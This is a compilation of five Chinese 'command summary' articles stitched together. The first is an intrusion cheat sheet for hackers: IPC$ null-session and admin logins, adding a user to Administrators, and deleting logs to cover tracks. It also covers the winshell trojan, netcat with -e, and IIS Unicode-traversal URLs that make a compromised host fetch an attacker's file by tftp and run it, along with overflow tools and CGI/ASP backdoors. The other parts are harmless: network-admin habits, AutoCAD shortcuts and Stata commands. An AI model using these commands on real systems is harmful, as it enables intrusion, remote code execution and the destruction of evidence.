第一篇：網(wǎng)管和黑客常用的命令總結(jié)

常用的幾條NET命令：

====

（與遠(yuǎn)程主機(jī)建立空管連接）net use IP地址ipc$ “" /use:”“

（以管理員身份登錄遠(yuǎn)程主機(jī)）net use IP地址ipc$ ”密碼“ /use:”Administrator“

（傳送文件到遠(yuǎn)程主機(jī)WINNT目錄下）copy 本機(jī)目錄路徑程序 IP地址admin$

（查看遠(yuǎn)程主機(jī)時(shí)間）net time IP地址

（定時(shí)啟動某個(gè)程序）at IP地址 02:18 readme.exe

（查看共享）net view IP地址

（查看netbios工作組列表）nbtstat-A IP地址

（將遠(yuǎn)程主機(jī)C盤映射為自己的F盤）net use f: IP地址c$ ”“/user:”Administrator“

（這兩條把自己增加到管理員組）： net user 用戶名 密碼 /add

net localgroup Administrators 用戶名 /add

（斷開連接）net use IP地址ipc$ /delete

=======

擦屁屁：

del C:winntsystem32logfiles*.*

del C:winntsystem32config*.evt

del C:winntsystem32dtclog*.*

del C:winntsystem32*.log

del C:winntsystem32*.txt

del C:winnt*.txt

del C:winnt*.log ============================

一、netsvc.exe

下面的命令分別是列出主機(jī)上的服務(wù)項(xiàng)目、查尋和遠(yuǎn)程啟動主機(jī)的“時(shí)間任務(wù)”服務(wù)：

netsvc /list IP地址

netsvc schedule IP地址 /query

netsvc IP地址 schedule /start

二、OpenTelnet.exe

遠(yuǎn)程啟動主機(jī)的Telnet服務(wù)，并綁定端口到7878，例如：

OpenTelnet IP地址 用戶名 密碼 1 7878

然后就可以telnet到主機(jī)的7878端口，進(jìn)入DOS方式下：

telnet IP地址 7878

三、winshell.exe

一個(gè)非常小的木馬（不到6K），telnet到主機(jī)的7878端口，輸入密碼winshell，當(dāng)看到CMD>后，可打下面的命令：

p Path（查看winshell主程序的路徑信息）

b reBoot（重新啟動機(jī)器）

d shutDown（關(guān)閉機(jī)器）

s Shell（執(zhí)行后你就會看到可愛的“C:>”）

x eXit（退出本次登錄會話，此命令并不終止winshell的運(yùn)行）

CMD> http://.../srv.exe（通過http下載其他網(wǎng)站上的文件到運(yùn)行winshell的機(jī)器上）

四、3389登陸器，GUI方式登錄遠(yuǎn)程主機(jī)的五、elsave.exe

事件日志清除工具

elsave-s IP地址-l ”application“-C

elsave-s IP地址-l ”system“-C

elsave-s IP地址-l ”security“-C

執(zhí)行后成功清除應(yīng)用程序日志，系統(tǒng)日志，安全日志

六、hbulot.exe

開啟win2kserver和winxp的3389服務(wù)

hbulot [/r]

使用/r表示安裝完成后自動重起目標(biāo)使設(shè)置生效。

七、nc.exe(netcat.exe)

一個(gè)很好的工具，一些腳本程序都要用到它，也可做溢出后的連接用。

想要連接到某處: nc [-options] hostname port[s] [ports]...綁定端口等待連接: nc-l-p port [-options] [hostname] [port]

參數(shù):

-e prog 程序重定向，一旦連接，就執(zhí)行 [危險(xiǎn)！]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12,...-h 幫助信息

-i secs 延時(shí)的間隔

-l 監(jiān)聽模式，用于入站連接

-n 指定數(shù)字的IP地址，不能用hostname

-o file 記錄16進(jìn)制的傳輸

-p port 本地端口號

-r 任意指定本地及遠(yuǎn)程端口

-s addr 本地源地址

-u UDP模式

-v 詳細(xì)輸出——用兩個(gè)-v可得到更詳細(xì)的內(nèi)容

-w secs timeout的時(shí)間

-z 將輸入輸出關(guān)掉——用于掃描時(shí)

八、TFTPD32.EXE

把自己的電腦臨時(shí)變?yōu)橐慌_FTP服務(wù)器，讓肉雞來下載文件，tftp命令要在肉雞上執(zhí)行，通常要利用Unicode漏洞或telnet到肉雞，例如：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp-i 本機(jī)IP地址 get 文件名 c:winntsystem32文件名

然后可以直接令文件運(yùn)行：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exe是IIS的printer遠(yuǎn)程緩沖區(qū)溢出工具。idqover.exe是溢出idq的，選擇“溢出后在一個(gè)端口監(jiān)聽”，然后用telnet連接它的監(jiān)聽端口，如果溢出成功，一連它的端口，綁定的命令馬上執(zhí)行。xploit.exe是一個(gè)圖形界面的ida溢出，成功以后winxp下需要打winxp。

一○、ntis.exe、cmd.exe和cmdasp.asp是三個(gè)cgi-backdoor，exe要放到cgi-bin目錄下，asp放到有ASP執(zhí)行權(quán)限的目錄。然后用IE瀏覽器連接。

一、一 Xscan命令行運(yùn)行參數(shù)說明：

在檢測過程中，按”[空格]“鍵可以查看各線程狀態(tài)及掃描進(jìn)度，按”q“鍵保存當(dāng)前數(shù)據(jù)后提前退出程序，按”“強(qiáng)行關(guān)閉程序。

1.命令格式: xscan-host [-] [其他選項(xiàng)]

xscan-file [其他選項(xiàng)]

其中 含義如下:

-port : 檢測常用服務(wù)的端口狀態(tài)(可通過datconfig.ini

文件的”PORT-SCAN-OPTIONSPORT-LIST“項(xiàng)定制待檢測端口列表)；

-ftp : 檢測FTP弱口令(可通過datconfig.ini文件設(shè)置用戶名/密碼字典文件)；

-ntpass : 檢測NT-Server弱口令(可通過datconfig.ini文件設(shè)置用戶名/密碼字典文件)；

-cgi : 檢測CGI漏洞(可通過datconfig.ini文件的”CGI-ENCODEencode_type“項(xiàng)設(shè)置編碼方案)；

-iis : 檢測IIS漏洞(可通過datconfig.ini文件的”CGI-ENCODEencode_type"項(xiàng)設(shè)置編碼方案)；

[其他選項(xiàng)] 含義如下:

-v: 顯示詳細(xì)掃描進(jìn)度

-p: 跳過Ping不通的主機(jī)

-o: 跳過沒有檢測到開放端口的主機(jī)

-t : 指定最大并發(fā)線程數(shù)量和并發(fā)主機(jī)數(shù)量, 默認(rèn)數(shù)量為100,10

第二篇：網(wǎng)管總結(jié)

一直做企業(yè)網(wǎng)絡(luò)技術(shù)支持，這些年的工作經(jīng)驗(yàn)告訴我：一個(gè)優(yōu)秀的網(wǎng)絡(luò)管理人員只有技術(shù)是遠(yuǎn)遠(yuǎn)不夠的，良好的、科學(xué)的習(xí)慣有時(shí)候比技術(shù)更加重要。企業(yè)網(wǎng)絡(luò)更多時(shí)候運(yùn)行在常態(tài)下，網(wǎng)管更多扮演著網(wǎng)絡(luò)維護(hù)者的角色，而不是消防隊(duì)、救火隊(duì)。這個(gè)時(shí)候，更需要網(wǎng)絡(luò)管理員以嚴(yán)謹(jǐn)、認(rèn)真、積極的態(tài)度做好網(wǎng)絡(luò)的日常維護(hù)，而良好的習(xí)慣在其中起著決定性的作用。那么，企業(yè)網(wǎng)管應(yīng)該養(yǎng)成哪些好習(xí)慣呢?下面分網(wǎng)絡(luò)常態(tài)和非常態(tài)分別談?wù)劸W(wǎng)管應(yīng)該具有的好習(xí)慣。

1、常態(tài)下，未雨綢繆做好網(wǎng)絡(luò)狀況的檢測

我認(rèn)為衡量一個(gè)優(yōu)秀網(wǎng)管的標(biāo)準(zhǔn)，不是看他排網(wǎng)絡(luò)故障的效率有多高，而是看他維護(hù)的網(wǎng)絡(luò)發(fā)生故障的頻率有多低。當(dāng)然，要徹底避免網(wǎng)絡(luò)故障是不可能的，但是優(yōu)秀網(wǎng)管可以讓其盡可能少地發(fā)生。因?yàn)椋吘咕W(wǎng)絡(luò)故障已經(jīng)發(fā)生，不管你的排故效率有多高，但或多或少都會對企業(yè)的生成造成一定的影響，特別是信息化程度越高的企業(yè)這種影響會越大。我認(rèn)為，除了科學(xué)的網(wǎng)絡(luò)架構(gòu)與部署之外，常態(tài)下的網(wǎng)絡(luò)狀況檢測是減少網(wǎng)絡(luò)故障的有力保障。這也就是優(yōu)秀網(wǎng)管平時(shí)應(yīng)該做的工作之一。

其實(shí)并不是所有的網(wǎng)絡(luò)故障都是突發(fā)性的，大部分故障都有一個(gè)累積的過程，是一個(gè)由量變到質(zhì)變的過程。這就像一位“病人”，最初可能不會感到明顯的“身體不適”，如果不進(jìn)行檢查是不能發(fā)現(xiàn)的。網(wǎng)絡(luò)維護(hù)其實(shí)就像給人看病，排故是最后的選擇，此前的檢測是非必要的。特別對于服務(wù)器、路由器/交換機(jī)這些核心的網(wǎng)絡(luò)設(shè)備，定期的性能監(jiān)控是必不可少的。

以路由器為例，網(wǎng)管們通過要對其進(jìn)行優(yōu)化，但優(yōu)化是否會帶來其他的隱性問題呢?所以如何及時(shí)發(fā)現(xiàn)路由優(yōu)化方面的問題，就是網(wǎng)絡(luò)定期項(xiàng)目測試中的內(nèi)容之一，特別是大型網(wǎng)絡(luò)中則更有必要。如果監(jiān)控和測試呢?大家知道，許多網(wǎng)絡(luò)設(shè)備如路由器、交換機(jī)、只能集線器等都支持SNMP網(wǎng)管功能，但為了全面監(jiān)測網(wǎng)絡(luò)通道功能，還需要網(wǎng)絡(luò)設(shè)備支持全面的RMON和RMON2，用這樣的設(shè)備組建起來的網(wǎng)絡(luò)其管理和故障診斷功能是很不錯(cuò)的。但現(xiàn)實(shí)的問題是，這樣的網(wǎng)絡(luò)設(shè)備價(jià)格是普通網(wǎng)絡(luò)設(shè)備的6～10倍左右，企業(yè)不見得有這些IT預(yù)算。因此，為了隨時(shí)監(jiān)測網(wǎng)絡(luò)的服務(wù)應(yīng)用流量及其比例、來源，工作記錄以及必要時(shí)進(jìn)行解包分析，我建議網(wǎng)管們在重要的服務(wù)器通道或路由通道上安裝監(jiān)測接口。以便必要時(shí)可以隨時(shí)將流量分析儀、網(wǎng)絡(luò)測試儀接入通道進(jìn)行監(jiān)測和分析。這樣，一來可以在常態(tài)下實(shí)時(shí)了解設(shè)備的運(yùn)行狀態(tài)，二來在故障排除時(shí)能夠快速定位，使得故障的查找時(shí)間可以縮短很多，降低運(yùn)維成本。當(dāng)然，如果資金允許，我還是建議將流量分析儀長期接入通道對多個(gè)重要的網(wǎng)絡(luò)設(shè)備進(jìn)行全速率透明流量監(jiān)測，這樣便于隨時(shí)了解設(shè)備健康狀況。退一步，就算該設(shè)備出現(xiàn)故障，我們可以在1分鐘之內(nèi)快速定位故障。

與路由器/交換機(jī)類似，網(wǎng)管們要對其他是設(shè)備進(jìn)行實(shí)時(shí)的監(jiān)控或者定期的檢測。網(wǎng)絡(luò)監(jiān)控可用專門的儀器(這當(dāng)然是最好的)，當(dāng)然對于IT經(jīng)費(fèi)緊縮的企業(yè)借用第三方軟件也可以實(shí)現(xiàn)類似的功能，但是不管怎樣，監(jiān)控、檢測是必須要做的。我的感悟，沒有監(jiān)控的網(wǎng)絡(luò)是不健康的，是一個(gè)隨時(shí)會倒下的“病人”。

2、排故時(shí)，不要盲動將網(wǎng)絡(luò)排故成本將到最低

我遇到過很多這樣的網(wǎng)管，當(dāng)網(wǎng)絡(luò)發(fā)生故障時(shí)，不能夠冷靜地分析問題，而是想當(dāng)然地進(jìn)行所謂的“排故”。其結(jié)果是不但問題沒有解決，而且使得問題擴(kuò)大化，最后束手無策請專家來維修。而且，由此付出的時(shí)間和經(jīng)濟(jì)上當(dāng)投入，使得維護(hù)成本大大增加。老總臉色難看，搞得自己很沒有面子也很被動。其實(shí)，網(wǎng)絡(luò)排故就像醫(yī)生為病人做手術(shù)或者警察破案，保持一個(gè)冷靜的頭腦是至關(guān)重要的，千萬不要盲動?，F(xiàn)場保存，調(diào)查取證，分析研究這是最基本的素質(zhì)。

(1).評估與現(xiàn)場保存

首要對故障狀況有一個(gè)大概的評估，是否在自己的能力解決范圍之內(nèi)，如果對自己解決問題沒有信心，就不要?jiǎng)邮?。在專家到來之前，做好現(xiàn)場保存。并進(jìn)行一定的調(diào)查取證，比如故障前的各種操作行為，故障觸發(fā)時(shí)的各種信息，故障現(xiàn)象等。這樣在專家到來之后，就能夠?qū)⑦@些重要的信息反饋給他們，從而免去他們做類似工作花費(fèi)的時(shí)間，為故障的快速排除贏得時(shí)間。當(dāng)然，在專家排錯(cuò)的過程中要仔細(xì)觀察，大膽提問，不但要學(xué)習(xí)如何排除故障，還要搞懂故障發(fā)生的原因。這樣，當(dāng)今后遇到此類故障的時(shí)候，就能夠自己解決。

(2).隔離與實(shí)驗(yàn)測試

最小化原則還有一個(gè)方面就是，不要讓故障擴(kuò)大，要馬上將故障網(wǎng)絡(luò)進(jìn)行隔離。另外，不要因?yàn)榈妮p率操作，使得故障不可收拾。對于那些不是非常危急的故障，可以自己嘗試解決。我的建議是，條件允許的話最好在實(shí)驗(yàn)環(huán)境中進(jìn)行，通過實(shí)驗(yàn)室中的設(shè)備模擬出類似故障，然后進(jìn)行排錯(cuò)。如果沒有實(shí)驗(yàn)環(huán)境，在真實(shí)環(huán)境中進(jìn)行操作，首先要做好相應(yīng)的備份，然后進(jìn)行網(wǎng)絡(luò)隔離，最后才進(jìn)行操作。還有，對自己在排故中的每一步操作做好記錄。這非常重要，如果排故失敗你就有可能回溯。就算不能回溯，在專家到來時(shí)，你至少可以告訴他你都進(jìn)行了哪些操作，這對于專家快速排故是非常重要的。

(3).不能簡單粗暴

做技術(shù)支持中，我經(jīng)?？吹竭@樣的管理員：當(dāng)網(wǎng)絡(luò)被判為病毒發(fā)作時(shí)，就會首先啟用多種殺毒軟件進(jìn)行查殺毒操作，無效。然后，把所有工作站格式化，重新安裝其操作系統(tǒng)和應(yīng)用軟件。但由于問題出在服務(wù)器，所以仍然不見效。最后，不得不將所有機(jī)器(當(dāng)然也包括服務(wù)器)格式化以后重新安裝系統(tǒng)平臺及應(yīng)用軟件。當(dāng)然，這種簡單粗暴的做法，應(yīng)當(dāng)為技術(shù)性的網(wǎng)管所不齒。說到底，這不應(yīng)該算是網(wǎng)絡(luò)排故，將一個(gè)也許很簡單的問題擴(kuò)大化了，由此增加的網(wǎng)絡(luò)維護(hù)成本太大了。我認(rèn)為，網(wǎng)絡(luò)排故的兩個(gè)基本原則是針對性和最小化。忠告網(wǎng)管們千萬不要盲動，采取簡單粗暴的做法。

當(dāng)下，崇尚技術(shù)認(rèn)為技術(shù)萬能的網(wǎng)管不在少數(shù)。由于網(wǎng)絡(luò)的復(fù)雜性，技術(shù)的有限性(哪怕你技術(shù)再高)，僅靠技術(shù)不能解決所有問題。因此，我要說的是，如果沒有良好的習(xí)慣，你一定會為此付出代價(jià)。技術(shù)與好的習(xí)慣對于企業(yè)網(wǎng)管，哪個(gè)更重要呢?當(dāng)然不能厚此薄彼，只有兩者并舉才能成為優(yōu)秀的網(wǎng)管。

第三篇：AutoCAD2017命令總結(jié)

AutoCAD2017命令總結(jié)

直線:L+空格

畫直線時(shí)點(diǎn)三點(diǎn)：C+空格鍵可以使三條線形成閉合狀態(tài) 畫圓：C+空格

ESC取消一切命令

單擊右鍵可以回到上一步命令（控制在250毫秒內(nèi)）正交：F8切換正交

繪制線段：光標(biāo)指定方向，輸入數(shù)字+空格鍵 指定長度：輸入數(shù)字+Tab 指定角度：輸入數(shù)字+enter 打開設(shè)置界面：OP 三角形內(nèi)畫圓采用相切三點(diǎn)畫圓

圓弧：端點(diǎn)（起點(diǎn)）----中心點(diǎn)-------端點(diǎn) 刪除命令：E+空格鍵

切換圓弧方向：在最后端點(diǎn)時(shí)不點(diǎn)擊確定，按住Ctrl移動光標(biāo)即可改變圓弧方向 啟動三點(diǎn)圓弧命令：A+空格鍵 光順曲線：BLEND+空格鍵

修剪命令：首先選好不修剪的位置（選擇時(shí)呈現(xiàn)藍(lán)色）選好后按空格鍵，這時(shí)光標(biāo)變成紅色X點(diǎn)擊后即可修剪。

橢圓繪制：EL+空格鍵(橢圓命令開始系統(tǒng)設(shè)置：端點(diǎn)--端點(diǎn)---高)橢圓圓心命令：EL+空格鍵+C+空格鍵 橢圓弧命令：EL+空格鍵+A+空格鍵

繪制橢圓弧開始命令前要選擇好中心點(diǎn)。

樣條曲線擬合：繪制后需要調(diào)整時(shí)應(yīng)先將捕捉按鈕關(guān)閉

樣條曲線控制點(diǎn)命令：與樣條曲線擬合相似，但是更容易操作 多線段：PL+空格鍵（多用于計(jì)算面積）矩形:REC+空格鍵

圓角矩形：REC+空格鍵+F+空格鍵

設(shè)置圓角半徑 倒角矩形：REC+空格鍵+C+空格鍵

設(shè)置倒角半徑 多邊形：POL+空格鍵 單點(diǎn)命令：PO +空格鍵

點(diǎn)設(shè)置：DDPTYE+空格鍵（在頁面上無法找到點(diǎn)設(shè)置快捷方式要牢記）圓環(huán)：DOUNT+空格鍵（直接在頁面上單擊圓環(huán)命令更方便）

第二章：（圖例）

示例圖形：移動：M+空格鍵

減選命令：SHIFT+單擊所要減選的圖形即可 欄選方式：M+空格鍵+F+空格鍵

復(fù)制命令：單擊復(fù)制+P(選擇上一次點(diǎn)擊的對象）+空格鍵（結(jié)束點(diǎn)擊空格鍵）類似選擇:選擇需要類似選擇的一小部分+單擊右鍵 全選：Ctrl+A 快速選擇窗口：QSELECT+空格鍵

（打開快速選擇窗口首先要制定范圍不然應(yīng)用將用于所有窗口）

移動捕捉中點(diǎn)：M+空格鍵（選擇需要移動捕捉的對象）按住Shift鍵單擊右鍵選擇中點(diǎn) 移動制定距離：

第四篇：stata命令總結(jié)

表2-1: 回歸分析相關(guān)命令一覽

命令用途

anova 方差和協(xié)方差分析 heckman Heckman 篩選模型

intreg 離散型變量模型，包括Tobit、cnreg 和intreg ivreg 工具變量法（IV 或2SLS）

newey Newey-West 標(biāo)準(zhǔn)差設(shè)定下的回歸

prais 針對序列相關(guān)的Prais-Winsten, Cochrane-Orcutt, or Hildreth-Lu 回歸 qreg 分量回歸 reg OLS 回歸 sw 逐步回歸法

reg3 三階段最小二乘回歸

rreg 穩(wěn)健回歸（不同于方差穩(wěn)健型回歸，即White 方法）sureg 似無相關(guān)估計(jì)

svyheckman 調(diào)查數(shù)據(jù)的Heckman 篩選模型 svyintreg 調(diào)查數(shù)據(jù)的間斷變量回歸 svyregress 調(diào)查數(shù)據(jù)的線性回歸 tobit Tobit 回歸

treatreg treatment 效應(yīng)模型 truncreg 截?cái)嗷貧w

表2-2: 時(shí)間序列命令一覽

命令用途

clemao1 允許結(jié)構(gòu)突變的單位根檢驗(yàn) zandrews dfuller dfgls pperron coin 單方程協(xié)整檢驗(yàn)

dwstat 參考dwstat2 , durbina2 durbinh

表2-3: Panel Data 模型相關(guān)命令一覽I 命令模型

統(tǒng)計(jì)描述相關(guān)命令：

xtdes 變量類型，數(shù)據(jù)類型描述 xtsum 基本統(tǒng)計(jì)量 xttab 按表格形式列示 xtpattern 面板數(shù)據(jù)的模式 估計(jì)相關(guān)命令：

xtreg 面板數(shù)據(jù)模型（固定效應(yīng)、隨機(jī)效應(yīng)）

xtregar 含有AR(1)干擾項(xiàng)的固定效應(yīng)和隨機(jī)效應(yīng)面板數(shù)據(jù)模型

xtgls 截面-時(shí)序混合模型，可處理異方差、組內(nèi)序列相關(guān)和組間相關(guān)性 xtpcse OLS or Prais-Winsten models with panel-corrected standard errors xtrchh Hildreth-Houck random coefficients models xtivreg 面板模型的工具變量或兩階段最小二乘法估計(jì) xtabond Arellano-Bond(1991)線性動態(tài)面板數(shù)據(jù)模型估計(jì)

xtabond2 Arellano-Bover(1995)系統(tǒng)GMM 動態(tài)面板數(shù)據(jù)模型估計(jì) xttobit Tobit 隨機(jī)效應(yīng)面板模型

xtintreg Random-effects interval data regression models xtlogit Fe, Re, Pa logit models xtprobit Re, Pa probit models xtcloglog Re, Pa cloglog models xtpoisson Fe, Re, Pa Poisson models xtnbreg Fe, Re, Pa negative binomial models xtfrontier 面板隨機(jī)前沿模型

xthtylor Hausman-Taylor estimator for error-components models

表2-4: Panel Data 模型相關(guān)命令一覽II 命令模型

假設(shè)檢驗(yàn)相關(guān)：

test Wald 檢驗(yàn)，如時(shí)間效應(yīng)聯(lián)合顯著性檢驗(yàn) xttest0 隨機(jī)效應(yīng)檢驗(yàn) xttest1 面板序列相關(guān)檢驗(yàn) xttest2 ads xtserial Wooldridge 一階序列相關(guān)檢驗(yàn) xtab Arellano 面板一階序列相關(guān)檢驗(yàn) hausman Hausman 檢驗(yàn) 面板單位根和協(xié)整相關(guān)： xtunit stata提供的檢驗(yàn)方法

ipshin IPS(2003)面板單位根檢驗(yàn)

levilin Levin，Lin和Chu(LLC, 2002)面板單位根檢驗(yàn) madfuller Sarno-Taylor(1998)面板單位根檢驗(yàn)

xtfisher Maddala和Wu(1999),基于P 值的面板單位根檢驗(yàn)

表2-5: Post-estimation Commands 命令名稱用途

adjust 列示預(yù)測結(jié)果的均質(zhì)，適于多種回歸分析，可分組列示 estimates 估計(jì)結(jié)果的存儲、再顯示、列表比較等 hausman Hausman 模型識別檢驗(yàn)

lincom 獲得參數(shù)的線性組合，在Logit 模型中可以獲得系數(shù)線性組合的OR 值 linktest 但方程link 識別檢驗(yàn)，用y 對Oy 和Oy2 回歸 lrtest 似然比（LR）檢驗(yàn)

mfx 計(jì)算邊際效應(yīng)和彈性系數(shù) nlcom 系數(shù)的非線性組合 predict 獲得擬合值、殘差等

predictnl 獲得非線性估計(jì)的擬合值、殘差等 test 線性約束的假設(shè)檢驗(yàn)，Wald 檢驗(yàn) testnl 非線性約束的假設(shè)檢驗(yàn)

vce 列示參數(shù)估計(jì)值的方差-協(xié)方差矩陣

表2-6: 二維圖種類一覽

圖形種類簡單描述 scatter scatterplot line line plot connected connected-line plot scatteri scatter with immediate arguments area line plot with shading bar bar plot spike spike plot dropline dropline plot dot dot plot rarea range plot with area shading rbar range plot with bars rspike range plot with spikes rcap range plot with capped spikes rcapsym range plot with spikes capped with symbols rscatter range plot with markers rline range plot with lines rconnected range plot with lines and markers tsline time-series plot tsrline time-series range plot mband median-band line plot mspline spline line plot lowess LOWESS line plot lfit linear prediction plot qfit quadratic prediction plot fpfit fractional polynomial plot lfitci linear prediction plot with CIs qfitci quadratic prediction plot with CIs fpfitci fractional polynomial plot with CIs function line plot of function histogram histogram plot kdensity kernel density plot 表2-7: 二維圖選項(xiàng)一覽

選項(xiàng)類別簡單描述

added line options draw lines at specified y or x values added text option display text at specified(y,x)value axis options labels, ticks, grids, log scales title options titles, subtitles, notes, captions legend option legend explaining what means what scale(#)resize text, markers, and line widths region options outlining, shading, aspect ratio, size aspect option constrain aspect ratio of plot region scheme(schemename)overall look by(varlist,...)repeat for subgroups nodraw suppress display of graph name(name,...)specify name for graph saving(filename,...)save graph in file advanced options difficult to explain 表2-9: 模擬分析相關(guān)命令一覽

命令用途備注 抽樣相關(guān)：

corr2data 產(chǎn)生具有指定相關(guān)性的數(shù)據(jù)僅適用于模擬相關(guān)分析 drawnorm invnorm(uniform())產(chǎn)生服從標(biāo)準(zhǔn)正態(tài)分布的隨機(jī)數(shù)函數(shù)，可調(diào)節(jié)均值和方差 matuniform(r,c)產(chǎn)生均勻分布函數(shù)

sample 從現(xiàn)有數(shù)據(jù)中進(jìn)行非重復(fù)隨機(jī)抽樣參考bsample sim arma 產(chǎn)生服從ARIMA 過程的隨機(jī)變量需要下載 Bootstrap 相關(guān)： bootstrap bs bstat bsample MC 相關(guān): simulate MC simulation jknife 類似于MC permute postfile 存儲MC 的結(jié)果 statsby exp list

第五篇：stata命令總結(jié)

stata11常用命令

注：JB統(tǒng)計(jì)量對應(yīng)的p大于0.05，則表明非正態(tài)，這點(diǎn)跟sktest和swilk檢驗(yàn)剛好相反； dta為數(shù)據(jù)文件； gph為圖文件； do為程序文件；

注意stata要區(qū)別大小寫； 不得用作用戶變量名：

_all _n _N _skip _b _coef _cons _pi _pred _rc _weight double float long int in if using with 命令：

讀入數(shù)據(jù)一種方式 input x y 1 4 2 5.5 3 6.2 4 7.7 5 8.5 end su/summarise/sum x 或 su/summarise/sum x,d 對分組的描述： sort group by group:su x %%%%% tabstat economy,stats(max)%返回變量economy的最大值

%%stats括號里可以是：mean，count(非缺失觀測值個(gè)數(shù))，sum(總和)，max，min，range，%% sd，var，cv(變易系數(shù)＝標(biāo)準(zhǔn)差/均值)，skewness，kurtosis，median，p1(1％分位

%% 數(shù)，類似地有p10, p25, p50, p75, p95, p99)，iqr(interquantile range = p75 – p25)_all %描述全部

_N 數(shù)據(jù)庫中觀察值的總個(gè)數(shù)。_n 當(dāng)前觀察值的位置。_pi 圓周率π的數(shù)值。list gen/generate %產(chǎn)生數(shù)列 egen wagemax=max(wage)clear use by(分組變量)set more 1/0 count %計(jì)數(shù)

gsort +x(升序)gsort-x(降序)sort x 升序；并且其它變量順序會跟著改變 label var y “消費(fèi)” %添加標(biāo)簽 describe %描述數(shù)據(jù)文件的整體，包括觀測總數(shù)，變量總數(shù)，生成日期，每個(gè)變量的存儲類型(storage type)，標(biāo)簽(label)replace x5=2*y if x!=3 %替換變量值

replace age = 25 in 107 %令第107個(gè)觀測中age為25 rename y2 u %改變變量名

drop in 2 %刪除全部變量的第2行

drop if x==.刪去x為缺失值的所有記錄

keep if x<2 %保留小于2的數(shù)據(jù)，其余變量跟隨x改變 keep in 2/10 %保留第2-10個(gè)數(shù)

keep x1-x5 %保留數(shù)據(jù)庫中介于x1和x5間的所有變量(包括x1和x5)，其余變量刪除

ci x1 x2,by(group)%算出置信區(qū)間,不過先前對group要先排序，即sort group；

%by的意思逐個(gè)進(jìn)行

cii 12 3.816667 0.2710343, level(90)%已知均值，方差，計(jì)算90%的置信區(qū)間

cii 10 2 %obs=10,mean=2,以二項(xiàng)分布形式，計(jì)算置信區(qū)間 centile x,centile(2.5 25 50 75 97.5)%取分位數(shù) correlate/corr x y z %相關(guān)系數(shù)

pwcorr x y,sig %給出原假設(shè)r=0的命令 %如果變量非服從正態(tài)分布，則spearman x y regress/reg mean year %回歸方程建立 reg y x,noconstant %無常數(shù)項(xiàng) predict meanhat %預(yù)測擬合值 predict e,residual %得到殘差 estat hettest % 異方差檢驗(yàn)

dwstat % Durbin-Watson自相關(guān)檢驗(yàn) vif % 方差膨脹因子

logit y x1 x2 x3(y取0或1，是被解釋變量，x1-x3是被解釋變量)%logit回歸

probit y x1 x2 x3(y取0或1，是被解釋變量，x1-x3是被解釋變量)%probit回歸

tobit y x1 x2 x3(y取值在0和1之間，是被解釋變量，x1-x3是被解釋變量)%tobit回歸

sktest e %殘差正態(tài)性檢驗(yàn) p>0.05則接受原假設(shè)，即服從正態(tài)分布； %% sktest是基于變量的偏度和斜度(正態(tài)分布的偏度為0，斜度為3)swilk x %基于Shapiro-Wilk檢驗(yàn)

%%p值越小，越傾向于拒絕零假設(shè)，也就是變量越有可能不服從正態(tài)分布 xi %生成虛擬變量 tabulat gender,summ(math)%用gender指標(biāo)對math進(jìn)行分類，返回兩類math的mean、std、freq tabulate=tab %gen f=int((shengao-164)/3)*3+164 組距為3 tabulate 變量名 [, generate(新變量)missing nofreq nolabel plot ] %%%%% generate(新變量)// 按分組變量產(chǎn)生啞變量 nofreq // 不顯示頻數(shù) nolabel // 不顯示數(shù)值標(biāo)記 plot // 顯示各組頻數(shù)圖示 missing // 包含缺失值

cell // 顯示各小組的構(gòu)成比(小組之和為 1)column // 按欄顯示各組之構(gòu)成(各欄總計(jì)為 1)row // 按行顯示各組之構(gòu)成(各行總計(jì)為 1)%%%%% 求和，求最??？ mod(x,y)%求余數(shù)

means %返回三種平均值 di normprob(1.96)di invnorm(0.05)di binomial(20,5,0.5)di invbinomial(20,5,0.5)di tprob(10,2)di invt(10.0.05)di fprob(3,27,1)di invfprob(3,27,0.05)di chi2(3,5)di invchi2(3,0.05)stack x y z,into(e)%把三列合成一列 xpose,clear %矩陣轉(zhuǎn)置

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